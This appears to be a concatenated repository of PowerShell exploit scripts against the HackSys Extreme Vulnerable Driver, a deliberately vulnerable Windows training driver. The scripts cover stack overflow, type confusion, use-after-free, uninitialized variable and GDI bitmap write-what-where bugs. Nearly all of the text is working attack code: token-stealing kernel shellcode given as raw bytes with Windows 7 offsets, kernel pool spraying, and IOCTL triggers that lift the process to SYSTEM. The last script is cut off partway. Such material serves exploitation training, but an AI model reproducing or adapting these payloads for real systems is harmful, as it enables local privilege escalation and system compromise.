Traversing ActiveProcessLinks list" 529 | $NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size 530 | while($true) { 531 | $NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset) 532 | if ($NextPID -eq $PID) { 533 | echo "[+] PowerShell _EPROCESS address: 0x$("{0:X}" -f $NextProcess)" 534 | echo "[+] PID: $NextPID" 535 | echo "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))" 536 | $PoShTokenAddr = $NextProcess+$TokenOffset 537 | break 538 | } 539 | $NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size 540 | } 541 | 542 | # Duplicate token! 543 | echo "`n[!] Duplicating SYSTEM token!`n" 544 | Bitmap-Write -Address $PoShTokenAddr -Value $SysToken 545 | } 546 | 547 | #==============================================[GDI ring0 primitive] 548 | 549 | $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) 550 | 551 | if ($hDevice -eq -1) { 552 | echo "`n[!] Unable to get driver handle..`n" 553 | Return 554 | } else { 555 | echo "`n[>] Driver information.." 556 | echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" 557 | echo "[+] Handle: $hDevice" 558 | } 559 | 560 | echo "`n[?] Bitmap factory!" 561 | echo "[+] Creating & destroying Window objects.." 562 | $ManagerBitmap = Stage-HmValidateHandleBitmap 563 | $WorkerBitmap = Stage-HmValidateHandleBitmap 564 | echo "[+] HMValidateHandle address: 0x$('{0:X}' -f $lpHMValidateHandle.ToInt64())" 565 | echo "[+] ulClientDelta: 0x$('{0:X}' -f $ulClientDelta)" 566 | echo "[+] Manager Bitmap: 0x$("{0:X}" -f $($ManagerBitmap.BitmapKernelObj))" 567 | echo "[+] Worker Bitmap: 0x$("{0:X}" -f $($WorkerBitmap.BitmapKernelObj))" 568 | $SystemModuleArray = Get-LoadedModules 569 | 570 | # [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere 571 | #--- 572 | [IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.BitConverter]::GetBytes($WorkerBitmap.BitmappvScan0).Length) 573 | [System.Runtime.InteropServices.Marshal]::Copy([System.BitConverter]::GetBytes($WorkerBitmap.BitmappvScan0), 0, $WriteWhatPtr, [System.BitConverter]::GetBytes($WorkerBitmap.BitmappvScan0).Length) 574 | if ($x32Architecture) { 575 | [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + [System.BitConverter]::GetBytes($ManagerBitmap.BitmappvScan0) 576 | } else { 577 | [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt64()) + [System.BitConverter]::GetBytes($ManagerBitmap.BitmappvScan0) 578 | } 579 | echo "`n[>] Sending buffer.." 580 | echo "[+] Buffer length: $($Buffer.Length)" 581 | echo "[+] IOCTL: 0x22200B" 582 | [EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null 583 | 584 | #==============================================[Elevate] 585 | Bitmap-Elevate -ManagerBitmap $ManagerBitmap.BitmapHandle -WorkerBitmap $WorkerBitmap.BitmapHandle -------------------------------------------------------------------------------- /Kernel_Stack.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | public static class EVD 8 | { 9 | [DllImport("kernel32.dll", SetLastError = true)] 10 | public static extern IntPtr VirtualAlloc( 11 | IntPtr lpAddress, 12 | uint dwSize, 13 | UInt32 flAllocationType, 14 | UInt32 flProtect); 15 | 16 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 17 | public static extern IntPtr CreateFile( 18 | String lpFileName, 19 | UInt32 dwDesiredAccess, 20 | UInt32 dwShareMode, 21 | IntPtr lpSecurityAttributes, 22 | UInt32 dwCreationDisposition, 23 | UInt32 dwFlagsAndAttributes, 24 | IntPtr hTemplateFile); 25 | 26 | [DllImport("Kernel32.dll", SetLastError = true)] 27 | public static extern bool DeviceIoControl( 28 | IntPtr hDevice, 29 | int IoControlCode, 30 | byte[] InBuffer, 31 | int nInBufferSize, 32 | byte[] OutBuffer, 33 | int nOutBufferSize, 34 | ref int pBytesReturned, 35 | IntPtr Overlapped); 36 | 37 | [DllImport("kernel32.dll")] 38 | public static extern uint GetLastError(); 39 | } 40 | "@ 41 | 42 | # Enable WinDBG debug output: 43 | # ed nt!Kd_DEFAULT_MASK 8 44 | 45 | # Compiled with Keystone-Engine 46 | # Hardcoded offsets for Win7 x86 SP1 47 | $Shellcode = [Byte[]] @( 48 | #---[Setup] 49 | 0x60, # pushad 50 | 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 51 | 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 52 | 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 53 | 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] 54 | #---[Copy System PID token] 55 | 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 56 | 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 57 | 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 58 | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 59 | 0x75, 0xED, # jnz ->| 60 | 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 61 | 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx 62 | #---[Recover] 63 | 0x61, # popad 64 | 0x31, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p 65 | 0x5D, # pop ebp 66 | 0xC2, 0x08, 0x00 # ret 8 67 | ) 68 | 69 | # Write shellcode to memory! 70 | echo "`n[>] Allocating ring0 payload.." 71 | [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) 72 | [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length) 73 | $EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32()) 74 | echo "[+] Payload size: $($Shellcode.Length)" 75 | echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())" 76 | 77 | # dwShareMode = prevent other rwx = 0 78 | # dwCreationDisposition = OPEN_EXISTING = 0x3 79 | # dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL = 0x80 80 | $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) 81 | 82 | if ($hDevice -eq -1) { 83 | echo "`n[!] Unable to get driver handle..`n" 84 | Return 85 | } else { 86 | echo "`n[>] Driver information.." 87 | echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" 88 | echo "[+] Handle: $hDevice" 89 | } 90 | 91 | # HACKSYS_EVD_STACKOVERFLOW IOCTL = 0x222003 92 | #---[Demo EIP control] 93 | # 0x41 = 0x800 (buffer allocated by the driver) 94 | # 0x42 = 32 (does not affect execution) 95 | # 0xdeadbeef -> Code exec here 96 | #--- 97 | # [Byte[]](0x41)*0x800 + [Byte[]](0x42)*32 + [Byte[]](0xef,0xbe,0xad,0xde) 98 | #--- 99 | $Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*32 + $EIP 100 | echo "`n[>] Sending buffer.." 101 | echo "[+] Buffer length: $($Buffer.Length)" 102 | echo "[+] IOCTL: 0x222003`n" 103 | [EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null -------------------------------------------------------------------------------- /Kernel_TypeConfusion.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | public static class EVD 8 | { 9 | [DllImport("ntdll.dll")] 10 | public static extern uint NtAllocateVirtualMemory( 11 | IntPtr ProcessHandle, 12 | ref IntPtr BaseAddress, 13 | uint ZeroBits, 14 | ref UInt32 AllocationSize, 15 | UInt32 AllocationType, 16 | UInt32 Protect); 17 | 18 | [DllImport("kernel32.dll", SetLastError = true)] 19 | public static extern IntPtr VirtualAlloc( 20 | IntPtr lpAddress, 21 | uint dwSize, 22 | UInt32 flAllocationType, 23 | UInt32 flProtect); 24 | 25 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 26 | public static extern IntPtr CreateFile( 27 | String lpFileName, 28 | UInt32 dwDesiredAccess, 29 | UInt32 dwShareMode, 30 | IntPtr lpSecurityAttributes, 31 | UInt32 dwCreationDisposition, 32 | UInt32 dwFlagsAndAttributes, 33 | IntPtr hTemplateFile); 34 | 35 | [DllImport("Kernel32.dll", SetLastError = true)] 36 | public static extern bool DeviceIoControl( 37 | IntPtr hDevice, 38 | int IoControlCode, 39 | byte[] InBuffer, 40 | int nInBufferSize, 41 | byte[] OutBuffer, 42 | int nOutBufferSize, 43 | ref int pBytesReturned, 44 | IntPtr Overlapped); 45 | 46 | [DllImport("kernel32.dll")] 47 | public static extern uint GetLastError(); 48 | } 49 | "@ 50 | 51 | # Compiled with Keystone-Engine 52 | # Hardcoded offsets for Win7 x86 SP1 53 | $Shellcode = [Byte[]] @( 54 | #---[Setup] 55 | 0x60, # pushad 56 | 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 57 | 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 58 | 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 59 | 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] 60 | #---[Copy System PID token] 61 | 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 62 | 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 63 | 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 64 | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 65 | 0x75, 0xED, # jnz ->| 66 | 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 67 | 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx 68 | #---[Recover] 69 | 0x61, # popad 70 | 0xC3 # ret 71 | ) 72 | 73 | # Write shellcode to memory 74 | echo "`n[>] Allocating ring0 payload.." 75 | [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) 76 | [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length) 77 | $ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32()) 78 | echo "[+] Payload size: $($Shellcode.Length)" 79 | echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())" 80 | 81 | # Get handle to driver 82 | $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) 83 | 84 | if ($hDevice -eq -1) { 85 | echo "`n[!] Unable to get driver handle..`n" 86 | Return 87 | } else { 88 | echo "`n[>] Driver information.." 89 | echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" 90 | echo "[+] Handle: $hDevice" 91 | } 92 | 93 | #--- 94 | # Low difficulty rating.. 95 | #--- 96 | # KernelTypeConfusionObject->ObjectID: 0x00000001 97 | # KernelTypeConfusionObject->ObjectType: IntPtr Shellcode 98 | #--- 99 | $Buffer = [System.BitConverter]::GetBytes(0x00000001) + $ShellcodePointer 100 | echo "`n[>] Sending buffer.." 101 | echo "[+] Buffer length: $($Buffer.Length)" 102 | echo "[+] ObjectID: 0x00000001" 103 | echo "[+] ObjectType: 0x$("{0:X8}" -f $Pointer.ToInt32())" 104 | echo "[+] IOCTL: 222023`n" 105 | [EVD]::DeviceIoControl($hDevice, 0x222023, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null -------------------------------------------------------------------------------- /Kernel_UAF.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | public static class EVD 8 | { 9 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 10 | public static extern IntPtr CreateFile( 11 | String lpFileName, 12 | UInt32 dwDesiredAccess, 13 | UInt32 dwShareMode, 14 | IntPtr lpSecurityAttributes, 15 | UInt32 dwCreationDisposition, 16 | UInt32 dwFlagsAndAttributes, 17 | IntPtr hTemplateFile); 18 | 19 | [DllImport("Kernel32.dll", SetLastError = true)] 20 | public static extern bool DeviceIoControl( 21 | IntPtr hDevice, 22 | int IoControlCode, 23 | byte[] InBuffer, 24 | int nInBufferSize, 25 | byte[] OutBuffer, 26 | int nOutBufferSize, 27 | ref int pBytesReturned, 28 | IntPtr Overlapped); 29 | 30 | [DllImport("kernel32.dll", SetLastError = true)] 31 | public static extern Byte CloseHandle( 32 | IntPtr hObject); 33 | 34 | [DllImport("kernel32.dll", SetLastError = true)] 35 | public static extern IntPtr VirtualAlloc( 36 | IntPtr lpAddress, 37 | uint dwSize, 38 | UInt32 flAllocationType, 39 | UInt32 flProtect); 40 | 41 | [DllImport("ntdll.dll", SetLastError = true)] 42 | public static extern int NtAllocateReserveObject( 43 | ref IntPtr hObject, 44 | UInt32 ObjectAttributes, 45 | UInt32 ObjectType); 46 | } 47 | "@ 48 | 49 | function IoCo-PoolSpray { 50 | echo "[+] Derandomizing NonPagedPool.." 51 | $Spray = @() 52 | for ($i=0;$i -lt 10000;$i++) { 53 | $hObject = [IntPtr]::Zero 54 | $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1) 55 | if ($CallResult -eq 0) { 56 | $Spray += $hObject 57 | } 58 | } 59 | $Script:IoCo_hArray1 += $Spray 60 | echo "[+] $($IoCo_hArray1.Length) IoCo objects created!" 61 | 62 | echo "[+] Allocating sequential objects.." 63 | $Spray = @() 64 | for ($i=0;$i -lt 5000;$i++) { 65 | $hObject = [IntPtr]::Zero 66 | $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1) 67 | if ($CallResult -eq 0) { 68 | $Spray += $hObject 69 | } 70 | } 71 | $Script:IoCo_hArray2 += $Spray 72 | echo "[+] $($IoCo_hArray2.Length) IoCo objects created!" 73 | 74 | echo "[+] Creating non-paged pool holes.." 75 | for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) { 76 | $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i]) 77 | if ($CallResult -ne 0) { 78 | $FreeCount += 1 79 | } 80 | } 81 | echo "[+] Free'd $FreeCount IoCo objects!" 82 | } 83 | 84 | # Compiled with Keystone-Engine 85 | # Hardcoded offsets for Win7 x86 SP1 86 | $Shellcode = [Byte[]] @( 87 | #---[Setup] 88 | 0x60, # pushad 89 | 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 90 | 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 91 | 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 92 | 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] 93 | #---[Copy System PID token] 94 | 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 95 | 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 96 | 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 97 | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 98 | 0x75, 0xED, # jnz ->| 99 | 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 100 | 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx 101 | #---[Recover] 102 | 0x61, # popad 103 | 0xC3 # ret 104 | ) 105 | 106 | # Write shellcode to memory 107 | echo "`n[>] Allocating ring0 payload.." 108 | [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) 109 | [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length) 110 | $ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32()) 111 | echo "[+] Payload size: $($Shellcode.Length)" 112 | echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())" 113 | 114 | $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) 115 | 116 | if ($hDevice -eq -1) { 117 | echo "`n[!] Unable to get driver handle..`n" 118 | Return 119 | } else { 120 | echo "`n[>] Driver information.." 121 | echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" 122 | echo "[+] Handle: $hDevice" 123 | } 124 | 125 | echo "`n[>] Spraying non-paged kernel pool!" 126 | IoCo-PoolSpray 127 | 128 | echo "`n[>] Staging vulnerability.." 129 | # Allocate UAF Object 130 | #--- 131 | # 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT 132 | echo "[+] Allocating UAF object" 133 | [EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null 134 | 135 | # Free UAF Object 136 | #--- 137 | # 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT 138 | echo "[+] Freeing UAF object" 139 | [EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null 140 | 141 | # Fake Object allocation 142 | #--- 143 | # 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT 144 | echo "[+] Spraying 5000 fake objects" 145 | $Buffer = $ShellcodePointer + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60 146 | for ($i=0;$i -lt 5000;$i++){ 147 | [EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null 148 | } 149 | 150 | # Trigger stale callback 151 | #--- 152 | # 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT 153 | echo "`n[>] Triggering UAF vulnerability!`n" 154 | [EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null -------------------------------------------------------------------------------- /Kernel_UninitializedHeapVar.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | public static class EVD 8 | { 9 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 10 | public static extern IntPtr CreateFile( 11 | String lpFileName, 12 | UInt32 dwDesiredAccess, 13 | UInt32 dwShareMode, 14 | IntPtr lpSecurityAttributes, 15 | UInt32 dwCreationDisposition, 16 | UInt32 dwFlagsAndAttributes, 17 | IntPtr hTemplateFile); 18 | 19 | [DllImport("Kernel32.dll", SetLastError = true)] 20 | public static extern bool DeviceIoControl( 21 | IntPtr hDevice, 22 | int IoControlCode, 23 | byte[] InBuffer, 24 | int nInBufferSize, 25 | byte[] OutBuffer, 26 | int nOutBufferSize, 27 | ref int pBytesReturned, 28 | IntPtr Overlapped); 29 | 30 | [DllImport("kernel32.dll", SetLastError = true)] 31 | public static extern IntPtr VirtualAlloc( 32 | IntPtr lpAddress, 33 | uint dwSize, 34 | UInt32 flAllocationType, 35 | UInt32 flProtect); 36 | 37 | [DllImport("kernel32.dll", SetLastError = true)] 38 | public static extern Byte CloseHandle( 39 | IntPtr hObject); 40 | 41 | [DllImport("kernel32.dll", SetLastError = true)] 42 | public static extern int CreateEventW( 43 | IntPtr lpEventAttributes, 44 | Byte bManualReset, 45 | Byte bInitialState, 46 | [MarshalAs(UnmanagedType.LPStr)] 47 | String lpName); 48 | 49 | [DllImport("kernel32.dll", SetLastError = true)] 50 | public static extern void DebugBreak(); 51 | } 52 | "@ 53 | 54 | # Generate random ASCII buffer 55 | function Random-232 { 56 | $Seed = 1..232|ForEach-Object{Get-Random -max 62}; 57 | $CharSet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 58 | $CharSet[$Seed] -join "" 59 | } 60 | 61 | function Event-PoolSpray { 62 | echo "[+] Allocating 256 unique Event names.." 63 | $Spray = @() 64 | for ($i=0;$i -lt 256;$i++) { 65 | # Paged pool => Object Name (ObNm) 66 | # 0x8 (header) + 0xf0 (string) = 0xf8 67 | $CallResult = [EVD]::CreateEventW([System.IntPtr]::Zero, 0, 0, $("JUNK"+ $([char[]]@(0x01,0x01,0x01,0x0c) -join "") + $(Random-232))) 68 | if ($CallResult -ne 0) { 69 | $Spray += $CallResult 70 | } 71 | } 72 | $Script:Event_hArray += $Spray 73 | 74 | echo "[?] Free all the things.." 75 | for ($i=0;$i -lt $($Event_hArray.Length);$i++) { 76 | $CallResult = [EVD]::CloseHandle($Event_hArray[$i]) 77 | if ($CallResult -ne 0) { 78 | $FreeCount += 1 79 | } 80 | } 81 | echo "[+] Free'd $FreeCount event objects!" 82 | } 83 | 84 | $heap = @" 85 | 86 | [*] ..I thought what I'd do was 87 | I'd pretend to be a heap var .. 88 | "@ 89 | $heap 90 | 91 | $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) 92 | 93 | if ($hDevice -eq -1) { 94 | echo "`n[!] Unable to get driver handle..`n" 95 | Return 96 | } else { 97 | echo "`n[>] Driver information.." 98 | echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" 99 | echo "[+] Handle: $hDevice" 100 | } 101 | 102 | # Compiled with Keystone-Engine 103 | # Hardcoded offsets for Win7 x86 SP1 104 | $Shellcode = 105 | [Byte[]](0x90)*280 + # NOP-sled 0x0c010000 -> 0x0c010101 106 | [Byte[]] @( 107 | #---[Setup] 108 | 0x60, # pushad 109 | 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 110 | 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 111 | 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 112 | 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] 113 | #---[Copy System PID token] 114 | 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 115 | 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 116 | 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 117 | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 118 | 0x75, 0xED, # jnz ->| 119 | 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 120 | 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx 121 | #---[Recover] 122 | 0x61, # popad 123 | 0xC3 # ret 124 | ) 125 | 126 | # Write shellcode to memory 127 | echo "`n[>] Allocating ring0 payload.." 128 | [IntPtr]$Pointer = [EVD]::VirtualAlloc([IntPtr]0x0c010000, $Shellcode.Length, 0x3000, 0x40) 129 | [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length) 130 | #$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32()) 131 | echo "[+] Payload size: $($Shellcode.Length)" 132 | echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())" 133 | 134 | echo "`n[?] Tainting lookaside.." 135 | Event-PoolSpray 136 | 137 | $Buffer = [System.BitConverter]::GetBytes(0xdeadb33f) 138 | echo "`n[>] Sending buffer.." 139 | echo "[+] Buffer length: $($Buffer.Length)" 140 | echo "[+] IOCTL: 0x222033`n" 141 | [EVD]::DeviceIoControl($hDevice, 0x222033, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null -------------------------------------------------------------------------------- /Kernel_UninitializedStackVar.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | public static class EVD 8 | { 9 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 10 | public static extern IntPtr CreateFile( 11 | String lpFileName, 12 | UInt32 dwDesiredAccess, 13 | UInt32 dwShareMode, 14 | IntPtr lpSecurityAttributes, 15 | UInt32 dwCreationDisposition, 16 | UInt32 dwFlagsAndAttributes, 17 | IntPtr hTemplateFile); 18 | 19 | [DllImport("Kernel32.dll", SetLastError = true)] 20 | public static extern bool DeviceIoControl( 21 | IntPtr hDevice, 22 | int IoControlCode, 23 | byte[] InBuffer, 24 | int nInBufferSize, 25 | byte[] OutBuffer, 26 | int nOutBufferSize, 27 | ref int pBytesReturned, 28 | IntPtr Overlapped); 29 | 30 | [DllImport("kernel32.dll", SetLastError = true)] 31 | public static extern IntPtr VirtualAlloc( 32 | IntPtr lpAddress, 33 | uint dwSize, 34 | UInt32 flAllocationType, 35 | UInt32 flProtect); 36 | 37 | [DllImport("ntdll.dll")] 38 | public static extern uint NtMapUserPhysicalPages( 39 | IntPtr BaseAddress, 40 | UInt32 NumberOfPages, 41 | Byte[] PageFrameNumbers); 42 | } 43 | "@ 44 | 45 | # Compiled with Keystone-Engine 46 | # Hardcoded offsets for Win7 x86 SP1 47 | $Shellcode = [Byte[]] @( 48 | #---[Setup] 49 | 0x60, # pushad 50 | 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 51 | 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 52 | 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 53 | 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] 54 | #---[Copy System PID token] 55 | 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 56 | 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 57 | 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 58 | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 59 | 0x75, 0xED, # jnz ->| 60 | 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 61 | 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx 62 | #---[Recover] 63 | 0x61, # popad 64 | 0xC3 # ret 65 | ) 66 | 67 | # Write shellcode to memory 68 | echo "`n[>] Allocating ring0 payload.." 69 | [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) 70 | [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length) 71 | echo "[+] Payload size: $($Shellcode.Length)" 72 | echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())" 73 | 74 | $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) 75 | 76 | if ($hDevice -eq -1) { 77 | echo "`n[!] Unable to get driver handle..`n" 78 | Return 79 | } else { 80 | echo "`n[>] Driver information.." 81 | echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" 82 | echo "[+] Handle: $hDevice" 